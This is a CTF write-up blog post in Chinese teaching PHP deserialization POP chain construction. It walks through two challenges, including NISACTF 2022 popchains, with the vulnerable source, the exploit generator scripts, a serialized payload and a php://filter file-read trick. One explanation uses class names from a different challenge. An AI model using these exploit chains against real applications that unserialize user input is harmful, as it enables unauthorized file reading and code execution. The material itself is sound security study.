pop构造链表(细节)

现在学的是如何构造链表,找链子,要找链子魔术方法一定要特别清楚

__construct()   当一个对象创建时被调用,
__destruct()   当一个对象销毁时被调用,
__toString()   当一个对象被当作一个字符串被调用。
__wakeup()   使用unserialize时触发
__sleep()    使用serialize时触发
__destruct()    对象被销毁时触发
__call()    在对象上下文中调用不可访问的方法时触发
__callStatic()    在静态上下文中调用不可访问的方法时触发
__get()    用于从不可访问的属性读取数据
__set()    用于将数据写入不可访问的属性
__isset()    在不可访问的属性上调用isset()或empty()触发
__unset()     在不可访问的属性上使用unset()时触发
__toString()    把类当作字符串使用时触发,返回值需要为字符串
__invoke()   当脚本尝试将对象调用为函数时触发

<?php
error_reporting(0);
show_source("index.php");
class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

 首先,先找起点和终点,终点一般都是一些执行函数比如eval,看见了include(flag.php)终点确定,起点就是 _destruct

看了一圈发现了w33m类中的__toString()中有个函数调用而且类名和函数名都是变量,那么这个__toString() 就和Getflag()连接起来了,再向前推,触发__toString()的条件是当一个对象被当作字符串处理,一看便看到了w22m中__destruct()

w22m-->>destruct   w33m-->>tostring getflag构造好了

然后看见admin是private定义,就直接在里面构造了

<?php
error_reporting(0);
class w44m{
    private $admin = 'w44m';
    protected $passwd = '08067';
}

class w22m{
    public $w00m;

    }


class w33m{
    public $w00m;
    public $w22m;
    }

$a=new w22m();
$b=new w33m();
$c=new w44m();
$a->w00m=$b;
$b->w00m=$c;
$b->w22m="Getflag";
echo urlencode(serialize($a));


?>

解法二,在里面构造

<?php
error_reporting(0);
class w44m{

    private $admin = 'w44m';
    protected $passwd = '08067';
    
}

class w22m{
    public $w00m;
    public function __construct(){
        $this->w00m=new w33m();
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __construct(){
        $this->w00m=new w44m();
        $this->w22m="Getflag";
    }
}

$a=new w22m();
echo urlencode(serialize($a));

?>

第二种比较万能,如果属性不是public则只能在里面构造,都需要改成——construct才可以串通起来,而第一种比较清晰 ,因为我是第一次构造在类的前面一定要加$,this前 也需要加,不然类型不匹配,

O:4:"w22m":1:{s:4:"w00m";O:4:"w33m":2:{s:4:"w00m";O:4:"w44m":2:{s:11:"w44madmin";s:4:"w44m";s:9:"*passwd";s:5:"08067";}s:4:"w22m";s:7:"Getflag";}}

因为不是public属性,所以前面的%00不会显示,需要url加密即可 

一般都是contruct然后是destruct,因为调用完里面的属性就是执行destruct 

看另一道题

[NISACTF 2022]popchains

也是一道pop题目

Happy New Year~ MAKE A WISH
<?php

echo 'Happy New Year~ MAKE A WISH<br>';

if(isset($_GET['wish'])){
    @unserialize($_GET['wish']);
}
else{
    $a=new Road_is_Long;
    highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/

class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard{
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }

    public function __get($key){
        $function = $this->effort;
        return $function();
    }
}
/**********************Try to See flag.php*****************************/

用到的魔术方法

__construct   当一个对象创建时被调用,
__toString   当一个对象被当作一个字符串被调用。
__wakeup()   使用unserialize时触发
__get()    用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性
__invoke()   当脚本尝试将对象调用为函数时触发 

同样先找尾巴,看见了

class Try_Work_Hard{
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

include($value)这肯定是尾巴,然后看见同类中的invoke魔术方法,里面调用了append,然后寻找龙头反序列化,那肯定是wakeup,看见wakeup里面使用了正则字符串,自动调用tostring,return $this->string->page;  string  page单别都是里面的一个属性,这样就会调用错误,然后相应——get方法,

  $function = $this->effort;
        return $function();  把对象看为属性引用

自动调用 invoke,然后invoke里面调用append结束

1.__wakeup()方法通过preg_match()将$this->source做字符串比较,如果$this->source是Show类,就调用了__toString()方法;
2.__toString()访问了str的source属性,如果str是Test类,则不存在source属性,所以调用了Test类的__get()魔术方法;
3.__get()方法将对象p作为函数使用,p实例化为Modify类,就调用了Modifier的__invoke()方法;

Modifier::__invoke()<--Test::__get()<--Show::__toString()

 开始构造

<?php
class Try_Work_Hard{
    protected  $var="php://filter/read=convert.base64-encode/resource=/flag";
}
class Make_a_Change{
public $effort;
}
class Road_is_Long{
    public $page;
    public $string;
}
$Road1=new Road_is_Long();
    $Road2=new Road_is_Long();
    $Make=new Make_a_Change();
    $Try=new Try_Work_Hard();
    $Road1->page=$Road2;
    $Road2->string=$Make;
    $Make->effort=$Try;
 
  echo urlencode(serialize($Road1));
?>

不知道为什么/flag就对,flag.php就不对

到此结束了,以后碰见了继续研究

# /flag和flag.php是两个完全不同的文件,

/flag是根目录下的一个flag的文件

flag.php是当前目录下的php文件,别混淆!

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值